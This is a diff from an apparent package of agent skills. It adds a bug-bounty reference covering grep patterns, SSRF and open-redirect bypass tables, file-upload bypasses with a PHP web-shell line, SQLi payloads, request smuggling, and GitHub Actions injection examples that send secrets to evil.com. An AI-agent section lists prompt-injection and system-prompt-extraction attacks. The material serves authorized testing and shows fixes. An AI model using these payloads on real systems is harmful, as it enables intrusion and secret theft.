  452. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  453. package/bundled-skills/service-mesh/SKILL.md +422 -0
  454. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  455. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  456. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  457. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  458. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  459. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  460. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  461. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  462. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  463. package/bundled-skills/systemd-services/SKILL.md +379 -0
  464. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  465. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  466. package/bundled-skills/terraform-azure/references/details.md +231 -0
  467. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  468. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  469. package/bundled-skills/user-management/SKILL.md +383 -0
  470. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  471. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  472. package/bundled-skills/vendor-management/SKILL.md +439 -0
  473. package/bundled-skills/vendor-management/references/details.md +109 -0
  474. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  475. package/bundled-skills/vllm-server/SKILL.md +236 -0
  476. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  477. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  478. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  479. package/bundled-skills/waf-setup/SKILL.md +354 -0
  480. package/bundled-skills/waf-setup/references/details.md +211 -0
  481. package/bundled-skills/web2-recon/SKILL.md +440 -0
  482. package/bundled-skills/web2-recon/references/details.md +319 -0
  483. package/bundled-skills/web3-audit/SKILL.md +445 -0
  484. package/bundled-skills/web3-audit/references/details.md +224 -0
  485. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  486. package/bundled-skills/windows-hardening/references/details.md +204 -0
  487. package/bundled-skills/windows-server/SKILL.md +318 -0
  488. package/bundled-skills/writing-guidelines/SKILL.md +60 -0
  489. package/bundled-skills/zero-trust/SKILL.md +461 -0
  490. package/package.json +1 -1
  491. package/skills_index.json +7874 -277
@@ -0,0 +1,1316 @@
1
+ # Details (moved from SKILL.md)
2
+
3
+ > Extended reference content for `bug-bounty`, kept under `references/` so the entrypoint stays within the audit budget.
4
+
5
+ ## Source Code Recon
6
+ ```bash
7
+ # Security surface
8
+ cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
9
+ git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
10
+
11
+ # Dev breadcrumbs
12
+ grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
13
+
14
+ # Dangerous patterns (JS/TS)
15
+ grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
16
+ grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
17
+ grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
18
+
19
+ # Dangerous patterns (Solidity)
20
+ grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
21
+ ```
22
+
23
+ ### Language-Specific Grep Patterns
24
+
25
+ ```bash
26
+ # JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
27
+ grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
28
+ grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
29
+ grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
30
+
31
+ # Python -- pickle, yaml.load, eval, shell injection
32
+ grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
33
+ grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
34
+ grep -rn "__import__\|exec(" --include="*.py"
35
+
36
+ # PHP -- type juggling, unserialize, LFI
37
+ grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php" <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
38
+ grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
39
+ grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
40
+
41
+ # Go -- template.HTML, race conditions
42
+ grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
43
+ grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
44
+
45
+ # Ruby -- YAML.load, mass assignment
46
+ grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb" <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
47
+ grep -rn "attr_accessible\|permit(" --include="*.rb"
48
+
49
+ # Rust -- panic on network input, unsafe blocks
50
+ grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
51
+ grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
52
+ grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
53
+ ```
54
+
55
+ ---
56
+
57
+ # PHASE 2: LEARN (Pre-Hunt Intelligence)
58
+
59
+
60
+ ## Read Disclosed Reports
61
+ ```bash
62
+ # By program on HackerOne
63
+ curl -s "https://hackerone.com/graphql" \
64
+ -H "Content-Type: application/json" \
65
+ -d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
66
+ | jq '.data.hacktivity_items.nodes[].report'
67
+ ```
68
+
69
+
70
+ ## "What Changed" Method
71
+ 1. Find disclosed report for similar tech
72
+ 2. Get the fix commit
73
+ 3. Read the diff -- identify the anti-pattern
74
+ 4. Grep your target for that same anti-pattern
75
+
76
+
77
+ ## Threat Model Template
78
+ ```
79
+ TARGET: _______________
80
+ CROWN JEWELS: 1.___ 2.___ 3.___
81
+ ATTACK SURFACE:
82
+ [ ] Unauthenticated: login, register, password reset, public APIs
83
+ [ ] Authenticated: all user-facing endpoints, file uploads, API calls
84
+ [ ] Cross-tenant: org/team/workspace ID parameters
85
+ [ ] Admin: /admin, /internal, /debug
86
+ HIGHEST PRIORITY (crown jewel x easiest entry):
87
+ 1.___ 2.___ 3.___
88
+ ```
89
+
90
+
91
+ ## 6 Key Patterns from Top Reports
92
+ 1. **Feature Complexity = Bug Surface** -- imports, integrations, multi-tenancy, multi-step workflows
93
+ 2. **Developer Inconsistency = Strongest Evidence** -- `timingSafeEqual` in one place, `===` elsewhere
94
+ 3. **"Else Branch" Bug** -- proxy/gateway passes raw token without validation in else path
95
+ 4. **Import/Export = SSRF** -- every "import from URL" feature has historically had SSRF
96
+ 5. **Secondary/Legacy Endpoints = No Auth** -- `/api/v1/` guarded but `/api/` isn't
97
+ 6. **Race Windows in Financial Ops** -- check-then-deduct as two DB operations = double-spend
98
+
99
+ ---
100
+
101
+ # PHASE 3: HUNT
102
+
103
+
104
+ ## Note-Taking System (Never Hunt Without This)
105
+ ```markdown
106
+ # TARGET: company.com -- SESSION 1
107
+
108
+
109
+ ## Interesting Leads (not confirmed bugs yet)
110
+ - [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
111
+
112
+
113
+ ## Dead Ends (don't revisit)
114
+ - /admin -> IP restricted, confirmed by trying 15+ bypass headers
115
+
116
+
117
+ ## Anomalies
118
+ - GET /api/export returns 200 even when session cookie is missing
119
+ - Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
120
+
121
+
122
+ ## Rabbit Holes (time-boxed, max 15 min each)
123
+ - [ ] 10 min: JWT kid injection on auth endpoint
124
+
125
+
126
+ ## Confirmed Bugs
127
+ - [15:10] IDOR on /api/invoices/{id} -- read+write
128
+ ```
129
+
130
+
131
+ ## Subdomain Type -> Hunt Strategy
132
+ - **dev/staging/test**: Debug endpoints, disabled auth, verbose errors
133
+ - **admin/internal**: Default creds, IP bypass headers (`X-Forwarded-For: 127.0.0.1`)
134
+ - **api/api-v2**: Enumerate with kiterunner, check older unprotected versions
135
+ - **auth/sso**: OAuth misconfigs, open redirect in `redirect_uri`
136
+ - **upload/cdn**: CORS, path traversal, stored XSS
137
+
138
+
139
+ ## CVE-Seeded Audit Approach
140
+ 1. **Build a CVE eval set** -- collect 5-10 prior CVEs for the target codebase
141
+ 2. **Reproduce old bugs** -- verify you can find the pattern in older code
142
+ 3. **Pattern-match forward** -- search for the same anti-pattern in current code
143
+ 4. **Focus on wide attack surfaces** -- JS engines, parsers, anything processing untrusted external input
144
+
145
+
146
+ ## Rust/Blockchain Source Code (Hard-Won Lessons)
147
+
148
+ **Panic paths: encoding vs decoding** -- `.unwrap()` on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.
149
+
150
+ **"Known TODO" is not a mitigation** -- A comment like `// Votes are not signed for now` doesn't mean safe.
151
+
152
+ **Pattern-based hunting from confirmed findings** -- If `verify_signed_vote` is broken, check `verify_signed_proposal` and `verify_commit_signature`.
153
+
154
+ ```bash
155
+ # Rust dangerous patterns (network-facing)
156
+ grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
157
+ grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
158
+ grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
159
+ ```
160
+
161
+ ---
162
+
163
+ # VULNERABILITY HUNTING CHECKLISTS
164
+
165
+
166
+ ## IDOR -- Insecure Direct Object Reference
167
+
168
+ > #1 most paid web2 class -- 30% of all submissions that get paid.
169
+
170
+ ### IDOR Variants (10 Ways to Test)
171
+
172
+ | Variant | What to Test |
173
+ |---------|-------------|
174
+ | V1: Direct | Change object ID in URL path `/api/users/123` -> `/api/users/456` |
175
+ | V2: Body param | Change ID in POST/PUT JSON body `{"user_id": 456}` |
176
+ | V3: GraphQL node | `{ node(id: "base64(OtherType:123)") { ... } }` |
177
+ | V4: Batch/bulk | `/api/users?ids=1,2,3,4,5` -- request multiple IDs at once |
178
+ | V5: Nested | Change parent ID: `/orgs/{org_id}/users/{user_id}` |
179
+ | V6: File path | `/files/download?path=../other-user/file.pdf` |
180
+ | V7: Predictable | Sequential integers, timestamps, short UUIDs |
181
+ | V8: Method swap | GET returns 403? Try PUT/PATCH/DELETE on same endpoint |
182
+ | V9: Version rollback | v2 blocked? Try `/api/v1/` same endpoint |
183
+ | V10: Header injection | `X-User-ID: victim_id`, `X-Org-ID: victim_org` |
184
+
185
+ ### IDOR Testing Checklist
186
+ - [ ] Create two accounts (A = attacker, B = victim)
187
+ - [ ] Log in as A, perform all actions, note all IDs in requests
188
+ - [ ] Log in as B, replay A's requests with A's IDs using B's auth
189
+ - [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
190
+ - [ ] Check API v1/v2 differences
191
+ - [ ] Check GraphQL schema for node() queries
192
+ - [ ] Check WebSocket messages for client-supplied IDs
193
+ - [ ] Test batch endpoints (can you request multiple IDs?)
194
+ - [ ] Try adding unexpected params: `?user_id=other_user`
195
+
196
+ ### IDOR Chains (higher payout)
197
+ - IDOR + Read PII = Medium
198
+ - IDOR + Write (modify other's data) = High
199
+ - IDOR + Admin endpoint = Critical (privilege escalation)
200
+ - IDOR + Account takeover path = Critical
201
+ - IDOR + Chatbot (LLM reads other user's data) = High
202
+
203
+
204
+ ## SSRF -- Server-Side Request Forgery
205
+
206
+ - [ ] Try cloud metadata: `http://169.254.169.254/latest/meta-data/`
207
+ - [ ] Try internal services: `http://127.0.0.1:6379/` (Redis), `:9200` (Elasticsearch), `:27017` (MongoDB)
208
+ - [ ] Test all IP bypass techniques (see table below)
209
+ - [ ] Test protocol bypass: `file://`, `dict://`, `gopher://`
210
+ - [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers
211
+
212
+ ### SSRF IP Bypass Table (11 Techniques)
213
+
214
+ | Bypass | Payload | Notes |
215
+ |--------|---------|-------|
216
+ | Decimal IP | `http://2130706433/` | 127.0.0.1 as single decimal |
217
+ | Hex IP | `http://0x7f000001/` | Hex representation |
218
+ | Octal IP | `http://0177.0.0.1/` | Octal 0177 = 127 |
219
+ | Short IP | `http://127.1/` | Abbreviated notation |
220
+ | IPv6 | `http://[::1]/` | Loopback in IPv6 |
221
+ | IPv6-mapped | `http://[::ffff:127.0.0.1]/` | IPv4-mapped IPv6 |
222
+ | Redirect chain | `http://attacker.com/302->http://169.254.169.254` | Check each hop |
223
+ | DNS rebinding | Register domain resolving to 127.0.0.1 | First check = external, fetch = internal |
224
+ | URL encoding | `http://127.0.0.1%2523@attacker.com` | Parser confusion |
225
+ | Enclosed alphanumeric | `http://①②⑦.⓪.⓪.①` | Unicode numerals |
226
+ | Protocol smuggling | `gopher://127.0.0.1:6379/_INFO` | Redis/other protocols |
227
+
228
+ ### SSRF Impact Chain
229
+ - DNS-only = Informational (don't submit)
230
+ - Internal service accessible = Medium
231
+ - Cloud metadata readable = High (key exposure)
232
+ - Cloud metadata + exfil keys = Critical (code execution on cloud)
233
+ - Docker API accessible = Critical (direct RCE)
234
+
235
+
236
+ ## OAuth / OIDC
237
+
238
+ - [ ] Missing `state` parameter -> CSRF
239
+ - [ ] `redirect_uri` accepts wildcards -> ATO
240
+ - [ ] Missing PKCE -> code theft
241
+ - [ ] Implicit flow -> token leakage in referrer
242
+ - [ ] Open redirect in post-auth redirect -> OAuth token theft chain
243
+
244
+ ### Open Redirect Bypass Table (11 Techniques)
245
+
246
+ Use these when chaining open redirect into OAuth code theft:
247
+
248
+ | Bypass | Payload | Notes |
249
+ |--------|---------|-------|
250
+ | Double URL encoding | `%252F%252F` | Decodes to `//` after double decode |
251
+ | Backslash | `https://target.com\@evil.com` | Some parsers normalize `\` to `/` |
252
+ | Missing protocol | `//evil.com` | Protocol-relative |
253
+ | @-trick | `https://target.com@evil.com` | target.com becomes username |
254
+ | Protocol-relative | `///evil.com` | Triple slash |
255
+ | Tab/newline injection | `//evil%09.com` | Whitespace in hostname |
256
+ | Fragment trick | `https://evil.com#target.com` | Fragment misleads validation |
257
+ | Null byte | `https://evil.com%00target.com` | Some parsers truncate at null |
258
+ | Parameter pollution | `?next=target.com&next=evil.com` | Last value wins |
259
+ | Path confusion | `/redirect/..%2F..%2Fevil.com` | Path traversal in redirect |
260
+ | Unicode normalization | `https://evil.com/target.com` | Visual confusion |
261
+
262
+
263
+ ## File Upload
264
+
265
+ ### File Upload Bypass Table
266
+
267
+ | Bypass | Technique |
268
+ |--------|-----------|
269
+ | Double extension | `file.php.jpg`, `file.php%00.jpg` |
270
+ | Case variation | `file.pHp`, `file.PHP5` |
271
+ | Alternative extensions | `.phtml`, `.phar`, `.shtml`, `.inc` |
272
+ | Content-Type spoof | `image/jpeg` header with PHP content |
273
+ | Magic bytes | `GIF89a; <?php system($_GET['c']); ?>` |
274
+ | .htaccess upload | `AddType application/x-httpd-php .jpg` |
275
+ | SVG XSS | `<svg onload=alert(1)>` |
276
+ | Race condition | Upload + execute before cleanup runs |
277
+ | Polyglot JPEG/PHP | Valid JPEG that is also valid PHP |
278
+ | Zip slip | `../../etc/cron.d/shell` in filename inside archive |
279
+
280
+ ### Magic Bytes Reference
281
+ | Type | Hex |
282
+ |------|-----|
283
+ | JPEG | `FF D8 FF` |
284
+ | PNG | `89 50 4E 47 0D 0A 1A 0A` |
285
+ | GIF | `47 49 46 38` |
286
+ | PDF | `25 50 44 46` |
287
+ | ZIP/DOCX/XLSX | `50 4B 03 04` |
288
+
289
+
290
+ ## Race Conditions
291
+
292
+ - [ ] Coupon codes / promo codes
293
+ - [ ] Gift card redemption
294
+ - [ ] Fund transfer / withdrawal
295
+ - [ ] Voting / rating limits
296
+ - [ ] OTP verification brute via race
297
+
298
+ ```bash
299
+ seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
300
+ -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
301
+ wait
302
+ ```
303
+
304
+ ### Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)
305
+ ```python
306
+ def queueRequests(target, wordlists):
307
+ engine = RequestEngine(endpoint=target.endpoint,
308
+ concurrentConnections=1,
309
+ requestsPerConnection=1,
310
+ pipeline=False,
311
+ engine=Engine.BURP2)
312
+ for i in range(20):
313
+ engine.queue(target.req, gate='race1')
314
+ engine.openGate('race1') # all 20 fire in a single TCP packet
315
+
316
+ def handleResponse(req, interesting):
317
+ table.add(req)
318
+ ```
319
+
320
+
321
+ ## Business Logic
322
+ - [ ] Negative quantities in cart
323
+ - [ ] Price parameter tampering
324
+ - [ ] Workflow skip (e.g., pay without checkout)
325
+ - [ ] Role escalation via registration fields
326
+ - [ ] Privilege persistence after downgrade
327
+
328
+
329
+ ## XSS -- Cross-Site Scripting
330
+
331
+ ### XSS Sinks (grep for these)
332
+ ```javascript
333
+ // HIGH RISK
334
+ innerHTML = userInput
335
+ outerHTML = userInput
336
+ document.write(userInput)
337
+ eval(userInput) <!-- security-allowlist: documented payload technique reference, do not execute outside authorized scope -->
338
+ setTimeout(userInput, ...) // string form
339
+ setInterval(userInput, ...)
340
+ new Function(userInput)
341
+
342
+ // MEDIUM RISK (context-dependent)
343
+ element.src = userInput // JavaScript URI possible
344
+ element.href = userInput
345
+ location.href = userInput
346
+ ```
347
+
348
+ ### XSS Chains (escalate from Medium to High/Critical)
349
+ - XSS + sensitive page (banking, admin) = High
350
+ - XSS + CSRF token theft = CSRF bypass -> Critical action
351
+ - XSS + service worker = persistent XSS across pages
352
+ - XSS + credential theft via fake login form = ATO
353
+ - XSS in chatbot response = stored XSS chain
354
+
355
+
356
+ ## SQL Injection
357
+
358
+ ### Detection
359
+ ```bash
360
+ # Single quote test
361
+ ' OR '1'='1
362
+ ' OR 1=1--
363
+ ' UNION SELECT NULL--
364
+
365
+ # Error-based detection
366
+ '; SELECT 1/0-- # divide by zero error reveals SQLi
367
+ ```
368
+
369
+ ### Modern SQLi WAF Bypass
370
+ ```sql
371
+ -- Comment variation
372
+ /*!50000 SELECT*/ * FROM users
373
+ SE/**/LECT * FROM users
374
+ -- Case variation
375
+ SeLeCt * FrOm uSeRs
376
+ -- URL encoding
377
+ %27 OR %271%27=%271
378
+ -- Unicode apostrophe
379
+ ' OR '1'='1
380
+ ```
381
+
382
+
383
+ ## GraphQL
384
+
385
+ ### Introspection (alone = Informational, but reveals attack surface)
386
+ ```graphql
387
+ { __schema { types { name fields { name type { name } } } } }
388
+ ```
389
+
390
+ ### Missing Field-Level Auth
391
+ ```graphql
392
+ # User query returns only own data
393
+ { user(id: 1) { name email } }
394
+ # But node() bypasses per-object auth:
395
+ { node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
396
+ ```
397
+
398
+ ### Batching Attack (Rate Limit Bypass)
399
+ ```json
400
+ [
401
+ {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
402
+ {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
403
+ "...100 more..."
404
+ ]
405
+ ```
406
+
407
+
408
+ ## LLM / AI Features
409
+
410
+ - [ ] Prompt injection via user input passed to LLM
411
+ - [ ] Indirect injection via document/URL the AI processes
412
+ - [ ] IDOR in chat history (enumerate conversation IDs)
413
+ - [ ] System prompt extraction via roleplay/encoding
414
+ - [ ] RCE via code execution tool abuse
415
+ - [ ] ASCII smuggling (invisible unicode in LLM output)
416
+
417
+ ### Agentic AI Hunting (OWASP ASI01-ASI10)
418
+
419
+ When target has AI agents with tool access, these are the 10 attack classes:
420
+
421
+ | ID | Vuln Class | What to Test |
422
+ |----|-----------|-------------|
423
+ | ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
424
+ | ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
425
+ | ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
426
+ | ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
427
+ | ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
428
+ | ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
429
+ | ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
430
+ | ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
431
+ | ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
432
+ | ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
433
+
434
+ **Triage rule:** ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
435
+
436
+
437
+ ## Cache Poisoning / Web Cache Deception
438
+ - [ ] Test `X-Forwarded-Host`, `X-Original-URL`, `X-Rewrite-URL` -- unkeyed headers reflected in response
439
+ - [ ] Parameter cloaking (`?param=value;poison=xss`)
440
+ - [ ] Fat GET (body params on GET requests)
441
+ - [ ] Web cache deception (`/account/settings.css` -- trick cache into storing private response)
442
+ - [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers
443
+
444
+
445
+ ## HTTP Request Smuggling
446
+ - [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
447
+ - [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
448
+ - [ ] H2.CL: HTTP/2 downgrade smuggling
449
+ - [ ] TE obfuscation: `Transfer-Encoding: xchunked`, tab prefix, space prefix
450
+ - [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically
451
+
452
+ ### CL.TE Example
453
+ ```http
454
+ POST / HTTP/1.1
455
+ Host: target.com
456
+ Content-Length: 13
457
+ Transfer-Encoding: chunked
458
+
459
+ 0
460
+
461
+ SMUGGLED
462
+ ```
463
+ Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
464
+
465
+
466
+ ## Android / Mobile Hunting
467
+ - [ ] Certificate pinning bypass (Frida/objection)
468
+ - [ ] Exported activities/receivers (AndroidManifest.xml)
469
+ - [ ] Deep link injection
470
+ - [ ] Shared preferences / SQLite in cleartext
471
+ - [ ] WebView JavaScript bridge
472
+ - [ ] Mobile API often uses older/different API version than web
473
+
474
+
475
+ ## CI/CD Pipeline — GitHub Actions Security
476
+
477
+ > **Tooling**: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: `brew install sisakulint` or download binary from releases.
478
+ >
479
+ > **Quick scan**: `sisakulint scan .github/workflows/` — flags Critical/High issues with auto-fix suggestions.
480
+ > **Remote scan**: `sisakulint scan --remote owner/repo` — scan without cloning.
481
+
482
+ ### Recon: Finding Workflow Files
483
+
484
+ ```bash
485
+ # Clone target's public repos, then:
486
+ find . -name "*.yml" -path "*/.github/workflows/*" | head -50
487
+
488
+ # Quick grep for dangerous patterns:
489
+ grep -rn "pull_request_target\|workflow_run" .github/workflows/
490
+ grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/
491
+ grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/
492
+ grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
493
+
494
+ # Run sisakulint on all workflows:
495
+ sisakulint scan .github/workflows/
496
+ ```
497
+
498
+ ### Category 1: Code Injection & Expression Safety (CICD-SEC-04)
499
+
500
+ **Root cause**: Untrusted input (`github.event.issue.title`, `github.event.pull_request.body`, branch names, commit messages) interpolated into `run:` blocks via `${{ }}` expressions.
501
+
502
+ **Taint sources** (attacker-controlled):
503
+ ```
504
+ github.event.issue.title / .body
505
+ github.event.pull_request.title / .body / .head.ref
506
+ github.event.comment.body
507
+ github.event.review.body
508
+ github.event.pages.*.page_name
509
+ github.event.commits.*.message / .author.name
510
+ github.event.head_commit.message / .author.name
511
+ github.event.workflow_run.head_branch
512
+ github.head_ref
513
+ ```
514
+
515
+ - [ ] **Expression injection** — `${{ github.event.issue.title }}` in `run:` block = RCE
516
+ ```yaml
517
+ # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
518
+ run: echo "${{ github.event.issue.title }}"
519
+
520
+ # FIXED — use env var (shell-quoted, not expression-interpolated)
521
+ env:
522
+ TITLE: ${{ github.event.issue.title }}
523
+ run: echo "$TITLE"
524
+ ```
525
+ - [ ] **Environment variable injection** — untrusted input → `$GITHUB_ENV`
526
+ ```yaml
527
+ # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE
528
+ run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV
529
+
530
+ # FIXED — use heredoc delimiter
531
+ run: |
532
+ {
533
+ echo "BRANCH<<EOF"
534
+ echo "${{ github.head_ref }}"
535
+ echo "EOF"
536
+ } >> $GITHUB_ENV
537
+ ```
538
+ - [ ] **PATH injection** — untrusted input → `$GITHUB_PATH` = arbitrary binary execution
539
+ - [ ] **Output clobbering** — untrusted input → `$GITHUB_OUTPUT` without heredoc delimiter = downstream job manipulation
540
+ - [ ] **Argument injection** — untrusted input as CLI argument (e.g., `docker run ${{ ... }}`)
541
+ ```yaml
542
+ # VULNERABLE
543
+ run: docker run ${{ github.event.pull_request.body }}
544
+
545
+ # FIXED — end-of-options marker + env var
546
+ env:
547
+ INPUT: ${{ github.event.pull_request.body }}
548
+ run: docker run -- "$INPUT"
549
+ ```
550
+ - [ ] **Request forgery (SSRF)** — attacker-controlled URL in `curl`/`wget` within workflow
551
+
552
+ ### Category 2: Pipeline Poisoning & Untrusted Checkout
553
+
554
+ **Root cause**: Privileged triggers (`pull_request_target`, `workflow_run`) checkout attacker's PR code, which then runs with repository secrets.
555
+
556
+ - [ ] **Untrusted checkout** — `actions/checkout` on `pull_request_target` without explicit safe ref
557
+ ```yaml
558
+ # VULNERABLE — checks out attacker's PR code with repo secrets
559
+ on: pull_request_target
560
+ jobs:
561
+ build:
562
+ steps:
563
+ - uses: actions/checkout@v4
564
+ with:
565
+ ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE
566
+ - run: make build # runs attacker's Makefile with secrets
567
+
568
+ # FIXED — only checkout base branch, or use read-only permissions
569
+ permissions: {}
570
+ steps:
571
+ - uses: actions/checkout@v4 # checks out base branch by default
572
+ ```
573
+ - [ ] **TOCTOU (Time-of-Check-Time-of-Use)** — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
574
+ - [ ] **Reusable workflow taint** — `secrets: inherit` passes all secrets to called workflow that processes untrusted input
575
+ - [ ] **Cache poisoning** — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
576
+ - [ ] **Cache poisoning (poisonable step)** — unsafe checkout followed by build step before cache save
577
+ - [ ] **Artifact poisoning** — `actions/download-artifact` from untrusted `workflow_run` without validation
578
+ ```yaml
579
+ # VULNERABLE — downloads artifact from untrusted workflow, then executes it
580
+ on: workflow_run
581
+ steps:
582
+ - uses: actions/download-artifact@v4
583
+ - run: ./downloaded-binary # attacker-controlled binary
584
+
585
+ # FIXED — verify artifact hash/signature before execution
586
+ ```
587
+ - [ ] **Artipacked** — `actions/checkout` with `persist-credentials: true` (default) leaks `.git/config` credentials in uploaded artifacts
588
+ ```yaml
589
+ # FIXED
590
+ - uses: actions/checkout@v4
591
+ with:
592
+ persist-credentials: false
593
+ ```
594
+
595
+ ### Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
596
+
597
+ - [ ] **Unpinned actions** — `uses: actions/checkout@v4` (mutable tag) instead of SHA pin
598
+ ```yaml
599
+ # VULNERABLE — tag can be force-pushed
600
+ uses: actions/checkout@v4
601
+
602
+ # FIXED — pinned to immutable commit SHA
603
+ uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
604
+ ```
605
+ - [ ] **Impostor commit** — fork network allows pushing commits with SHA that appears to belong to upstream repo
606
+ - [ ] **Ref confusion** — ambiguous tag/branch names exploited to load unintended action version
607
+ - [ ] **Known vulnerable actions** — check actions against GHSA database (sisakulint detects automatically)
608
+ - [ ] **Archived actions** — unmaintained action with unpatched vulnerabilities
609
+ - [ ] **Unpinned container images** — `image: ubuntu:latest` instead of SHA256 digest pin
610
+
611
+ ### Category 4: Credential & Secret Protection
612
+
613
+ - [ ] **Secret exfiltration** — `curl https://evil.com/${{ secrets.TOKEN }}` in workflow
614
+ - [ ] **Secrets in artifacts** — uploaded artifacts contain `.env`, credentials, or hidden files
615
+ ```yaml
616
+ # FIXED — exclude hidden files
617
+ - uses: actions/upload-artifact@v4
618
+ with:
619
+ include-hidden-files: false
620
+ ```
621
+ - [ ] **Unmasked secrets** — `fromJson()` derived values bypass GitHub's automatic masking
622
+ ```yaml
623
+ # FIXED — manually mask derived secrets
624
+ run: |
625
+ TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
626
+ echo "::add-mask::$TOKEN"
627
+ ```
628
+ - [ ] **Excessive `secrets: inherit`** — reusable workflow call inherits all secrets when it only needs one
629
